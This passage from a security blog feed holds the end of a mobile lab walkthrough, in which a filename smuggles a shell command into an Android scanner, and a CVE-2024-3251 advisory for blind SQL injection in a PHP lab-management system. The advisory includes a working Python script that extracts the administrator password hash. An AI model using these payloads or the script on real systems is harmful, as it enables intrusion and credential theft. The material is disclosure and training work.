<p>The extracted SHA-1 hash is checked against a known list of malware samples (<code class="language-plaintext highlighter-rouge">ScanEngine.KNOWN_MALWARE_SAMPLES</code>). If the hash is found in the list, the file is considered unsafe, and the method returns <code class="language-plaintext highlighter-rouge">false</code>. Otherwise, it returns <code class="language-plaintext highlighter-rouge">true</code>.</p>

<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code>            <span class="k">return</span> <span class="o">!</span><span class="nc">ScanEngine</span><span class="o">.</span><span class="na">KNOWN_MALWARE_SAMPLES</span><span class="o">.</span><span class="na">containsValue</span><span class="o">(</span><span class="n">fileHash</span><span class="o">);</span>
        <span class="o">}</span> <span class="k">finally</span> <span class="o">{</span>
        <span class="o">}</span>
    <span class="o">}</span> <span class="k">catch</span> <span class="o">(</span><span class="nc">Exception</span> <span class="n">e</span><span class="o">)</span> <span class="o">{</span>
        <span class="n">e</span><span class="o">.</span><span class="na">printStackTrace</span><span class="o">();</span>
        <span class="k">return</span> <span class="kc">false</span><span class="o">;</span>
    <span class="o">}</span>
<span class="o">}</span>
</code></pre></div></div>

<p>Now since the method check whether a given file is safe or malicious against a list of known hashes, we have to know which known hash exist. We can see those hashes in the static final <code class="language-plaintext highlighter-rouge">HashMap</code></p>

<p>Let’s check the Known Malware Samples…</p>

<h4 id="defining-known-malware-samples">Defining Known Malware Samples</h4>

<p>This static final <code class="language-plaintext highlighter-rouge">HashMap</code> named <code class="language-plaintext highlighter-rouge">KNOWN_MALWARE_SAMPLES</code> map stores pairs of file names and their corresponding SHA-1 hashes. The <code class="language-plaintext highlighter-rouge">MapsKt.hashMapOf</code> function is used to create the map, and <code class="language-plaintext highlighter-rouge">TuplesKt.to</code> is used to create the key-value pairs and their corresponding hashes.</p>

<p>If a file contains a name and hash from the list, it will be flag as <code class="language-plaintext highlighter-rouge">INFECTED</code></p>

<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">private</span> <span class="kd">static</span> <span class="kd">final</span> <span class="nc">HashMap</span><span class="o">&lt;</span><span class="nc">String</span><span class="o">,</span> <span class="nc">String</span><span class="o">&gt;</span> <span class="no">KNOWN_MALWARE_SAMPLES</span> <span class="o">=</span> <span class="nc">MapsKt</span><span class="o">.</span><span class="na">hashMapOf</span><span class="o">(</span>
    <span class="nc">TuplesKt</span><span class="o">.</span><span class="na">to</span><span class="o">(</span><span class="s">"eicar.com"</span><span class="o">,</span> <span class="s">"3395856ce81f2b7382dee72602f798b642f14140"</span><span class="o">),</span>
    <span class="nc">TuplesKt</span><span class="o">.</span><span class="na">to</span><span class="o">(</span><span class="s">"eicar.com.txt"</span><span class="o">,</span> <span class="s">"3395856ce81f2b7382dee72602f798b642f14140"</span><span class="o">),</span>
    <span class="nc">TuplesKt</span><span class="o">.</span><span class="na">to</span><span class="o">(</span><span class="s">"eicar_com.zip"</span><span class="o">,</span> <span class="s">"d27265074c9eac2e2122ed69294dbc4d7cce9141"</span><span class="o">),</span>
    <span class="nc">TuplesKt</span><span class="o">.</span><span class="na">to</span><span class="o">(</span><span class="s">"eicarcom2.zip"</span><span class="o">,</span> <span class="s">"bec1b52d350d721c7e22a6d4bb0a92909893a3ae"</span><span class="o">)</span>
<span class="o">);</span>
</code></pre></div></div>

<p>Why <code class="language-plaintext highlighter-rouge">INFECTED</code>? we can see in the code below (took from the <code class="language-plaintext highlighter-rouge">ScanService</code> Class)</p>

<h3 id="scanengine-1">ScanEngine</h3>

<p align="center"> 
<img src="4.png" width="720" />
</p>

<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code>                <span class="nc">System</span><span class="o">.</span><span class="na">out</span><span class="o">.</span><span class="na">print</span><span class="o">((</span><span class="nc">Object</span><span class="o">)</span> <span class="o">(</span><span class="n">file</span><span class="o">.</span><span class="na">getAbsolutePath</span><span class="o">()</span> <span class="o">+</span> <span class="s">"..."</span><span class="o">));</span>
                <span class="kt">boolean</span> <span class="n">safe</span> <span class="o">=</span> <span class="nc">ScanEngine</span><span class="o">.</span><span class="na">INSTANCE</span><span class="o">.</span><span class="na">scanFile</span><span class="o">(</span><span class="n">file</span><span class="o">);</span>
                <span class="nc">System</span><span class="o">.</span><span class="na">out</span><span class="o">.</span><span class="na">println</span><span class="o">((</span><span class="nc">Object</span><span class="o">)</span> <span class="o">(</span><span class="n">safe</span> <span class="o">?</span> <span class="s">"SAFE"</span> <span class="o">:</span> <span class="s">"INFECTED"</span><span class="o">));</span>
            <span class="o">}</span>
        <span class="o">}</span>
</code></pre></div></div>

<p>The method print the file’s absolute path and then uses <code class="language-plaintext highlighter-rouge">ScanEngine.INSTANCE.scanFile(file)</code> to scan the file. It prints <code class="language-plaintext highlighter-rouge">SAFE</code> if the file is safe (as seen in the <code class="language-plaintext highlighter-rouge">pidcat</code> output!) and <code class="language-plaintext highlighter-rouge">INFECTED</code> if it is not.</p>

<h2 id="exploitation">Exploitation</h2>

<p>Let’s start with adding a file called <code class="language-plaintext highlighter-rouge">eicar.txt</code> containing the eicard string and monitor the log using <code class="language-plaintext highlighter-rouge">pidcat</code>. If things go according to plans, we should see the <code class="language-plaintext highlighter-rouge">INFECTED</code> displayed in the logs.</p>

<p><code class="language-plaintext highlighter-rouge">eicar</code> string: <code class="language-plaintext highlighter-rouge">X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*</code></p>

<p>As expected, we can see <code class="language-plaintext highlighter-rouge">INFECTED</code> with the full path of the file:</p>

<p align="center"> 
<img src="5.png" width="720" />
</p>

<p>How can we achieve <strong>RCE</strong> ?</p>

<p>Now this is fairly simple, let’s go over the code again from the <code class="language-plaintext highlighter-rouge">ScanEngine</code> class:</p>

<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nc">String</span> <span class="n">command</span> <span class="o">=</span> <span class="s">"toybox sha1sum "</span> <span class="o">+</span> <span class="n">file</span><span class="o">.</span><span class="na">getAbsolutePath</span><span class="o">();</span>
<span class="nc">Process</span> <span class="n">process</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">ProcessBuilder</span><span class="o">(</span><span class="k">new</span> <span class="nc">String</span><span class="o">[</span><span class="mi">0</span><span class="o">])</span>
    <span class="o">.</span><span class="na">command</span><span class="o">(</span><span class="s">"sh"</span><span class="o">,</span> <span class="s">"-c"</span><span class="o">,</span> <span class="n">command</span><span class="o">)</span>
    <span class="o">.</span><span class="na">directory</span><span class="o">(</span><span class="nc">Environment</span><span class="o">.</span><span class="na">getExternalStorageDirectory</span><span class="o">())</span>
    <span class="o">.</span><span class="na">redirectErrorStream</span><span class="o">(</span><span class="kc">true</span><span class="o">)</span>
    <span class="o">.</span><span class="na">start</span><span class="o">();</span>
<span class="nc">InputStream</span> <span class="n">inputStream</span> <span class="o">=</span> <span class="n">process</span><span class="o">.</span><span class="na">getInputStream</span><span class="o">();</span>
</code></pre></div></div>

<p>The <code class="language-plaintext highlighter-rouge">command</code> string is dynamically constructed by concatenating <code class="language-plaintext highlighter-rouge">"toybox sha1sum "</code> with <code class="language-plaintext highlighter-rouge">file.getAbsolutePath()</code>. This allows any value returned by <code class="language-plaintext highlighter-rouge">file.getAbsolutePath()</code> to be included directly in the command string…</p>

<p>If <code class="language-plaintext highlighter-rouge">file.getAbsolutePath()</code> returns a path that contains shell metacharacters (<code class="language-plaintext highlighter-rouge">;</code>, <code class="language-plaintext highlighter-rouge">&amp;&amp;</code>, <code class="language-plaintext highlighter-rouge">|</code>), it can change the intended command execution (<code class="language-plaintext highlighter-rouge">toybox sha1sum</code>).</p>

<p>The <code class="language-plaintext highlighter-rouge">ProcessBuilder</code> is set to run the command in a shell (<code class="language-plaintext highlighter-rouge">sh -c</code>). The shell interprets and executes the command string, allowing shell metacharacters to be processed… which turns into a command injection!</p>

<p>It’s a matter of how we can name the file…</p>

<p>If the file path includes <code class="language-plaintext highlighter-rouge">"; malicious command"</code>, the command will be split and execute both <code class="language-plaintext highlighter-rouge">toybox sha1sum</code> and <code class="language-plaintext highlighter-rouge">malicious command</code> just like a traditional operator.</p>

<p>Let’s create an empty <code class="language-plaintext highlighter-rouge">txt</code> file and our payload will be in the filename:</p>

<div class="language-shell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">;</span> <span class="nb">echo</span> <span class="s1">'RCE PoC from almightysec!!'</span> <span class="o">&gt;</span> almightysec.txt <span class="c">#</span>
</code></pre></div></div>

<p>The <code class="language-plaintext highlighter-rouge">;</code> allows injection of the payload: <code class="language-plaintext highlighter-rouge">echo 'RCE PoC from almightysec!!' &gt; almightysec.txt</code>, which creates a file with the content we <code class="language-plaintext highlighter-rouge">echo</code>. I added <code class="language-plaintext highlighter-rouge">#</code> to make sure trailing commands interfere.</p>

<p>Let’s run it!</p>

<p>We push the file on the device in <code class="language-plaintext highlighter-rouge">/sdcard/Download</code> since that’s where the scanner looks for malicious files.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>adb push <span class="se">\;\ </span><span class="nb">id</span><span class="se">\ \&amp;\ </span><span class="nb">echo</span><span class="se">\ \'</span>RCE<span class="se">\ </span>PoC<span class="se">\ </span>from<span class="se">\ </span>almightysec<span class="se">\!\!\'\ \&gt;\ </span>almightysec.txt<span class="se">\ \#</span> /sdcard/Download/
</code></pre></div></div>

<p align="center"> 
<img src="6.png" width="720" />
</p>

<p>Our file is now located in <code class="language-plaintext highlighter-rouge">/sdcard/Download</code>:</p>

<p align="center"> 
<img src="7.png" width="320" />
</p>

<p>We can monitor the logs using <code class="language-plaintext highlighter-rouge">pidcat</code> and we can see that our file is now marked as <code class="language-plaintext highlighter-rouge">SAFE</code>. We can also see that the exploit worked because the malicious file <code class="language-plaintext highlighter-rouge">almightysec.txt</code> exist in <code class="language-plaintext highlighter-rouge">/storage/emulated/0/</code>!</p>

<p align="center"> 
<img src="8.png" width="720" />
</p>

<p>We can confirm the content of the file by getting a shell on the device:</p>

<p align="center"> 
<img src="9.png" width="720" />
</p>

<h2 id="conclusion">Conclusion</h2>

<p>Another exciting challenge conquered at Mobile Hacking Lab!</p>

<p>The “Cyclic Scanner” centered on an Android virus scanner service with a critical flaw that allowed remote code execution (RCE). Imagine the implications of an attacker gaining such control over your device…</p>

<p>Just looking at the service’s behavior and understanding the code, we crafted a specific payload to exploit the dynamically constructed command strings. Never
trust user input!!</p>

<p>Let’s move on to the next challenge!</p>

<p>Thank you, Mobile Hacking Lab! 😊</p>]]></content><author><name>Simon Bertrand</name></author><category term="service" /><category term="android" /><category term="mobile" /><summary type="html"><![CDATA[Cyclic Scanner - Walkthrough - Mobile Hacking lab]]></summary></entry><entry><title type="html">CVE-2024-3251 - Time-Based Blind SQL Injection in CLMS v1.0</title><link href="/CVE-2024-3251/" rel="alternate" type="text/html" title="CVE-2024-3251 - Time-Based Blind SQL Injection in CLMS v1.0" /><published>2024-04-03T09:04:00-04:00</published><updated>2024-04-03T09:04:00-04:00</updated><id>/CVE-2024-3251</id><content type="html" xml:base="/CVE-2024-3251/"><![CDATA[<h1 id="vulnerability-proof-of-concept-report">Vulnerability Proof of Concept Report</h1>

<h2 id="summary">Summary</h2>

<ul>
  <li><strong>CVE ID</strong>: CVE-2024-3251</li>
  <li><strong>Vendor</strong>: Sourcecodester</li>
  <li><strong>Product</strong>: Computer Laboratory Management System</li>
  <li><strong>Product Link:</strong> <a href="https://www.sourcecodester.com/php/17268/computer-laboratory-management-system-using-php-and-mysql.html">Product</a></li>
  <li><strong>Affected Versions</strong>: v1.0</li>
  <li><strong>Fixed in Version</strong>: Not Fixed</li>
  <li><strong>Vulnerability Type</strong>: Time-Based Blind SQL Injection</li>
  <li><strong>Severity</strong>: Critical</li>
  <li><strong>Researchers</strong>: Simon Bertrand (Almightysec)</li>
  <li><strong>Disclosure Date</strong>: 04/01/2024</li>
</ul>

<h2 id="vulnerability-description">Vulnerability Description</h2>

<p>An SQL Injection vulnerability has been identified in the /view_borrow function via the id parameter of <strong>Sourcecodester Computer Laboratory Management System</strong> affecting <strong>version 1.0</strong> The vulnerability arises due to insufficient input validation and sanitation of user-supplied data in the /view_borrow function. An attacker can exploit this vulnerability to execute arbitrary SQL commands in the application’s backend database, leading to unauthorized access, data exfiltration, or database corruption.</p>

<h2 id="affected-components">Affected Components</h2>

<p>The SQL injection vulnerability affects the <code class="language-plaintext highlighter-rouge">view_borrow</code> function, specifically through the <code class="language-plaintext highlighter-rouge">id</code> parameter in the URL path. This component is part of the administrative backend of the Computer Laboratory Management System, intended for managing borrowing records.</p>

<ul>
  <li><strong>URL Path</strong>: <code class="language-plaintext highlighter-rouge">/admin/?page=borrow/view_borrow&amp;id=</code></li>
  <li><strong>Parameter</strong>: <code class="language-plaintext highlighter-rouge">id</code></li>
  <li><strong>Function</strong>: <code class="language-plaintext highlighter-rouge">view_borrow</code></li>
  <li><strong>Location</strong>: Administrative backend, under the Borrows management section.</li>
</ul>

<p>This vulnerability is present in the application’s handling of dynamic SQL queries without proper validation or sanitation of user-supplied input. As a result, an attacker can manipulate the <code class="language-plaintext highlighter-rouge">id</code> parameter to inject arbitrary SQL commands, potentially leading to unauthorized access, data exfiltration, or manipulation of the database.</p>

<p>The issue arises within the web application’s server-side processing of the URL parameter. It does not properly sanitize input before incorporating it into SQL queries that are executed against the backend database. This oversight makes it possible to execute unintended SQL commands, affecting the database’s integrity and confidentiality.</p>

<h2 id="steps-to-reproduce">Steps to Reproduce</h2>

<p>Follow these steps to reproduce the vulnerability. Please use this section responsibly, ensuring that only authorized individuals can perform these actions in a safe and legal environment.</p>

<ol>
  <li><strong>Environment Setup</strong>:
    <ul>
      <li>Download the <code class="language-plaintext highlighter-rouge">.zip</code> file from Sourcecodester: <a href="https://www.sourcecodester.com/php/17268/computer-laboratory-management-system-using-php-and-mysql.html">Computer Laboratory Management System</a></li>
      <li>Follow installation instruction from Sourcecodester</li>
    </ul>
  </li>
  <li><strong>Initial Conditions</strong>:
    <ul>
      <li>From the Administration panel, create a low priv user.</li>
      <li>Log out from the Administrator account</li>
      <li>Login as low priv user.</li>
    </ul>
  </li>
  <li><strong>Reproduction Steps</strong>:
    <ul>
      <li>Step 1: Click on <code class="language-plaintext highlighter-rouge">Borrows</code> tab</li>
      <li>Step 2: Click on <code class="language-plaintext highlighter-rouge">View</code></li>
      <li>Step 3: Capture request and send to Repeater.</li>
      <li>Step 4: Test with <code class="language-plaintext highlighter-rouge">sleep</code> payload <code class="language-plaintext highlighter-rouge">'+AND+(SELECT+1+FROM+(SELECT(SLEEP(5)))exploit)--+</code></li>
    </ul>
  </li>
</ol>

<h3 id="poc">POC:</h3>

<p align="center"> 
<img src="3.png" width="1000" />
</p>

<div class="language-http highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nf">GET</span> <span class="nn">/php-lms/admin/?page=borrow/view_borrow&amp;id=1'+AND+(SELECT+1+FROM+(SELECT(SLEEP(5)))exploit)--+</span> <span class="k">HTTP</span><span class="o">/</span><span class="m">1.1</span>
<span class="na">Host</span><span class="p">:</span> <span class="s">localhost</span>
<span class="na">User-Agent</span><span class="p">:</span> <span class="s">Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:124.0) Gecko/20100101 Firefox/124.0</span>
<span class="na">Accept</span><span class="p">:</span> <span class="s">text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8</span>
<span class="na">Accept-Language</span><span class="p">:</span> <span class="s">en-CA,en-US;q=0.7,en;q=0.3</span>
<span class="na">Accept-Encoding</span><span class="p">:</span> <span class="s">gzip, deflate, br</span>
<span class="na">Referer</span><span class="p">:</span> <span class="s">http://localhost/php-lms/admin/?page=borrow</span>
<span class="na">Upgrade-Insecure-Requests</span><span class="p">:</span> <span class="s">1</span>
<span class="na">Sec-Fetch-Dest</span><span class="p">:</span> <span class="s">document</span>
<span class="na">Sec-Fetch-Mode</span><span class="p">:</span> <span class="s">navigate</span>
<span class="na">Sec-Fetch-Site</span><span class="p">:</span> <span class="s">same-origin</span>
<span class="na">Sec-Fetch-User</span><span class="p">:</span> <span class="s">?1</span>
<span class="na">Connection</span><span class="p">:</span> <span class="s">close</span>
</code></pre></div></div>
<h3 id="exploit-code">Exploit Code:</h3>

<p align="center"> 
<img src="4.png" width="1000" />
</p>

<p align="center"> 
<img src="5.png" width="1000" />
</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">import</span> <span class="nn">requests</span>
<span class="kn">import</span> <span class="nn">sys</span>
<span class="kn">import</span> <span class="nn">time</span>

<span class="k">class</span> <span class="nc">Colors</span><span class="p">:</span>
    <span class="n">HEADER</span> <span class="o">=</span> <span class="s">'</span><span class="se">\033</span><span class="s">[95m'</span>
    <span class="n">OKBLUE</span> <span class="o">=</span> <span class="s">'</span><span class="se">\033</span><span class="s">[94m'</span>
    <span class="n">OKGREEN</span> <span class="o">=</span> <span class="s">'</span><span class="se">\033</span><span class="s">[92m'</span>
    <span class="n">WARNING</span> <span class="o">=</span> <span class="s">'</span><span class="se">\033</span><span class="s">[93m'</span>
    <span class="n">FAIL</span> <span class="o">=</span> <span class="s">'</span><span class="se">\033</span><span class="s">[91m'</span>
    <span class="n">ENDC</span> <span class="o">=</span> <span class="s">'</span><span class="se">\033</span><span class="s">[0m'</span>
    <span class="n">BOLD</span> <span class="o">=</span> <span class="s">'</span><span class="se">\033</span><span class="s">[1m'</span>
    <span class="n">UNDERLINE</span> <span class="o">=</span> <span class="s">'</span><span class="se">\033</span><span class="s">[4m'</span>

<span class="k">def</span> <span class="nf">banner</span><span class="p">():</span>
    <span class="k">print</span><span class="p">(</span><span class="sa">f</span><span class="s">"</span><span class="si">{</span><span class="n">Colors</span><span class="p">.</span><span class="n">HEADER</span><span class="si">}</span><span class="s">SQL injection in LMS-PHP v1.0</span><span class="si">{</span><span class="n">Colors</span><span class="p">.</span><span class="n">ENDC</span><span class="si">}</span><span class="s">"</span><span class="p">)</span>
    <span class="k">print</span><span class="p">(</span><span class="sa">f</span><span class="s">"</span><span class="si">{</span><span class="n">Colors</span><span class="p">.</span><span class="n">OKBLUE</span><span class="si">}</span><span class="s">---------------------------------</span><span class="si">{</span><span class="n">Colors</span><span class="p">.</span><span class="n">ENDC</span><span class="si">}</span><span class="se">\n</span><span class="s">"</span><span class="p">)</span>

<span class="k">def</span> <span class="nf">print_help</span><span class="p">():</span>
    <span class="k">print</span><span class="p">(</span><span class="s">"Usage: python exploit.py &lt;URL&gt;"</span><span class="p">)</span>
    <span class="k">print</span><span class="p">(</span><span class="s">"Example: python exploit.py http://example.com"</span><span class="p">)</span>
    <span class="n">sys</span><span class="p">.</span><span class="nb">exit</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span>

<span class="k">def</span> <span class="nf">check_condition</span><span class="p">(</span><span class="n">url</span><span class="p">,</span> <span class="n">session</span><span class="p">,</span> <span class="n">condition</span><span class="p">):</span>
    <span class="n">injected_url</span> <span class="o">=</span> <span class="sa">f</span><span class="s">"</span><span class="si">{</span><span class="n">url</span><span class="si">}</span><span class="s">'+AND+IF(</span><span class="si">{</span><span class="n">condition</span><span class="si">}</span><span class="s">,SLEEP(5),0)--+"</span>
    <span class="n">start_time</span> <span class="o">=</span> <span class="n">time</span><span class="p">.</span><span class="n">time</span><span class="p">()</span>
    <span class="n">session</span><span class="p">.</span><span class="n">get</span><span class="p">(</span><span class="n">injected_url</span><span class="p">)</span>
    <span class="n">response_time</span> <span class="o">=</span> <span class="n">time</span><span class="p">.</span><span class="n">time</span><span class="p">()</span> <span class="o">-</span> <span class="n">start_time</span>
    <span class="k">return</span> <span class="n">response_time</span> <span class="o">&gt;=</span> <span class="mi">5</span>

<span class="k">def</span> <span class="nf">extract_char_at_pos</span><span class="p">(</span><span class="n">url</span><span class="p">,</span> <span class="n">session</span><span class="p">,</span> <span class="n">pos</span><span class="p">):</span>
    <span class="n">low</span> <span class="o">=</span> <span class="mi">32</span>
    <span class="n">high</span> <span class="o">=</span> <span class="mi">126</span>
    <span class="k">while</span> <span class="n">low</span> <span class="o">&lt;=</span> <span class="n">high</span><span class="p">:</span>
        <span class="n">mid</span> <span class="o">=</span> <span class="p">(</span><span class="n">low</span> <span class="o">+</span> <span class="n">high</span><span class="p">)</span> <span class="o">//</span> <span class="mi">2</span>
        <span class="n">condition</span> <span class="o">=</span> <span class="sa">f</span><span class="s">"ascii(substring((SELECT password FROM lms_db.users WHERE id=1 LIMIT 1),</span><span class="si">{</span><span class="n">pos</span><span class="si">}</span><span class="s">,1))&gt;</span><span class="si">{</span><span class="n">mid</span><span class="si">}</span><span class="s">"</span>
        <span class="k">if</span> <span class="n">check_condition</span><span class="p">(</span><span class="n">url</span><span class="p">,</span> <span class="n">session</span><span class="p">,</span> <span class="n">condition</span><span class="p">):</span>
            <span class="n">low</span> <span class="o">=</span> <span class="n">mid</span> <span class="o">+</span> <span class="mi">1</span>
        <span class="k">else</span><span class="p">:</span>
            <span class="n">high</span> <span class="o">=</span> <span class="n">mid</span> <span class="o">-</span> <span class="mi">1</span>
    <span class="k">return</span> <span class="nb">chr</span><span class="p">(</span><span class="n">low</span><span class="p">)</span>

<span class="k">def</span> <span class="nf">extract_data</span><span class="p">(</span><span class="n">url</span><span class="p">):</span>
    <span class="n">session</span> <span class="o">=</span> <span class="n">requests</span><span class="p">.</span><span class="n">Session</span><span class="p">()</span>
    <span class="n">extracted</span> <span class="o">=</span> <span class="s">""</span>
    <span class="k">for</span> <span class="n">pos</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="mi">33</span><span class="p">):</span>
        <span class="n">extracted</span> <span class="o">+=</span> <span class="n">extract_char_at_pos</span><span class="p">(</span><span class="n">url</span><span class="p">,</span> <span class="n">session</span><span class="p">,</span> <span class="n">pos</span><span class="p">)</span>
        <span class="k">print</span><span class="p">(</span><span class="sa">f</span><span class="s">"</span><span class="si">{</span><span class="n">Colors</span><span class="p">.</span><span class="n">OKGREEN</span><span class="si">}</span><span class="s">Extracted so far: </span><span class="si">{</span><span class="n">extracted</span><span class="si">}{</span><span class="n">Colors</span><span class="p">.</span><span class="n">ENDC</span><span class="si">}</span><span class="s">"</span><span class="p">)</span>
    <span class="k">print</span><span class="p">(</span><span class="sa">f</span><span class="s">"</span><span class="si">{</span><span class="n">Colors</span><span class="p">.</span><span class="n">OKGREEN</span><span class="si">}</span><span class="s">Full extracted data: </span><span class="si">{</span><span class="n">extracted</span><span class="si">}{</span><span class="n">Colors</span><span class="p">.</span><span class="n">ENDC</span><span class="si">}</span><span class="s">"</span><span class="p">)</span>

<span class="k">def</span> <span class="nf">main</span><span class="p">():</span>
    <span class="n">banner</span><span class="p">()</span>
    <span class="k">if</span> <span class="nb">len</span><span class="p">(</span><span class="n">sys</span><span class="p">.</span><span class="n">argv</span><span class="p">)</span> <span class="o">!=</span> <span class="mi">2</span> <span class="ow">or</span> <span class="n">sys</span><span class="p">.</span><span class="n">argv</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span> <span class="ow">in</span> <span class="p">[</span><span class="s">'-h'</span><span class="p">,</span> <span class="s">'--help'</span><span class="p">]:</span>
        <span class="n">print_help</span><span class="p">()</span>

    <span class="n">url</span> <span class="o">=</span> <span class="n">sys</span><span class="p">.</span><span class="n">argv</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span> <span class="o">+</span> <span class="s">"/php-lms/admin/?page=borrow/view_borrow&amp;id=1"</span>
    <span class="n">extract_data</span><span class="p">(</span><span class="n">url</span><span class="p">)</span>

<span class="k">if</span> <span class="n">__name__</span> <span class="o">==</span> <span class="s">"__main__"</span><span class="p">:</span>
    <span class="n">main</span><span class="p">()</span>

</code></pre></div></div>
<h2 id="impact-analysis">Impact Analysis</h2>

<p>The identified SQL Injection vulnerability within the Computer Laboratory Management System poses significant risks that could lead to severe impacts on confidentiality, integrity, and availability of the system and its data. Specifically:</p>

<ul>
  <li><strong>Data Exposure</strong>: Confidential data, including student records, administrative information, and potentially sensitive personal data, could be extracted by unauthorized parties. This exposure risks privacy breaches and regulatory non-compliance.</li>
  <li><strong>Unauthorized Access</strong>: Attackers might gain unauthorized access to other parts of the system or escalate their privileges, allowing them to alter system configurations, manipulate data, or disrupt operational integrity.</li>
  <li><strong>Service Disruption</strong>: By exploiting this vulnerability, attackers could render the system unstable or entirely unavailable, affecting the day-to-day operations of the computer laboratory management.</li>
  <li><strong>Reputational Damage</strong>: Incidents arising from this vulnerability could erode trust among stakeholders, including students, faculty, and administration, potentially leading to a decline in system usage and confidence in the institution’s cybersecurity posture.</li>
</ul>

<h2 id="mitigation-and-recommendations">Mitigation and Recommendations</h2>

<p>To mitigate the identified vulnerability and reduce potential impacts, the following steps are recommended:</p>

<ul>
  <li><strong>Immediate Patching</strong>: If the vendor releases a patch, apply it immediately. Given the absence of a fix, consider the following temporary measures.</li>
  <li><strong>Input Validation</strong>: Implement rigorous input validation checks to ensure only expected data types and formats are processed. Use allowlists for allowable characters in inputs.</li>
  <li><strong>Prepared Statements</strong>: Transition to using prepared statements with parameterized queries in all database interactions to effectively neutralize SQL Injection attacks.</li>
  <li><strong>Error Handling</strong>: Customize error messages to avoid revealing details about the database structure or pointing to existing vulnerabilities.</li>
  <li><strong>Regular Auditing</strong>: Conduct regular security audits and vulnerability assessments of the system to identify and mitigate potential vulnerabilities proactively.</li>
  <li><strong>Security Awareness</strong>: Enhance security awareness among developers and administrators regarding common vulnerabilities and secure coding practices.</li>
</ul>

<h2 id="vendor-communication">Vendor Communication</h2>

<p>Detail the timeline of communication with the vendor, including when the vulnerability was reported, any responses received, and the current status of the vulnerability.</p>

<ul>
  <li><strong>Reported On</strong>: 04/01/2024 - The vulnerability was reported</li>
  <li><strong>Acknowledged On</strong>: N/A - As of the last update, the vendor has not acknowledged the report.</li>
  <li><strong>Fixed On</strong>: N/A - A fix for the vulnerability has not been issued.</li>
  <li><strong>CVE Assigned On</strong>: 04/03/2024 - CVE assigned: CVE-2024-3251</li>
</ul>

<p>Efforts to follow up with the vendor will continue, and updates will be provided as new information becomes available.</p>

<h2 id="references">References</h2>

<p>External references and advisories directly related to this specific vulnerability in the Computer Laboratory Management System. The following are general resources on SQL Injection prevention techniques, best practices and links to the CVE:</p>

<ol>
  <li>CVE Mitre: <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-3251">Link</a></li>
  <li>NIST: <a href="https://nvd.nist.gov/vuln/detail/CVE-2024-3251">Link</a></li>
  <li>CVE Details: <a href="https://www.cvedetails.com/cve/CVE-2024-3251/">link</a></li>
  <li>Vuldb: <a href="https://vuldb.com/?id.259100">Link</a></li>
  <li>OWASP SQL Injection Prevention Cheat Sheet: <a href="https://owasp.org/www-community/attacks/SQL_Injection">Link</a></li>
  <li>OWASP Guide to SQL Injection: <a href="https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html">Link</a></li>
</ol>

<p>This section will be updated as the vendor provides feedback or releases patches.</p>

<h2 id="acknowledgments">Acknowledgments</h2>

<p>Special thanks to the cybersecurity and open-source communities for their invaluable tools and resources that support vulnerability research. Appreciation is extended to colleagues and peers for their insights and feedback during the vulnerability analysis process.</p>

<hr />

<p>This report is provided “as is” for informational purposes only. The authors do not take any responsibility for misuse of this information. Researchers and testers should conduct their activities with respect to applicable laws and guidelines for ethical hacking.</p>]]></content><author><name>Simon Bertrand</name></author><category term="CVE" /><category term="SQLi" /><category term="web" /><category term="php" /><summary type="html"><![CDATA[CVE-2024-3251 - Vulnerability report]]></summary></entry></feed>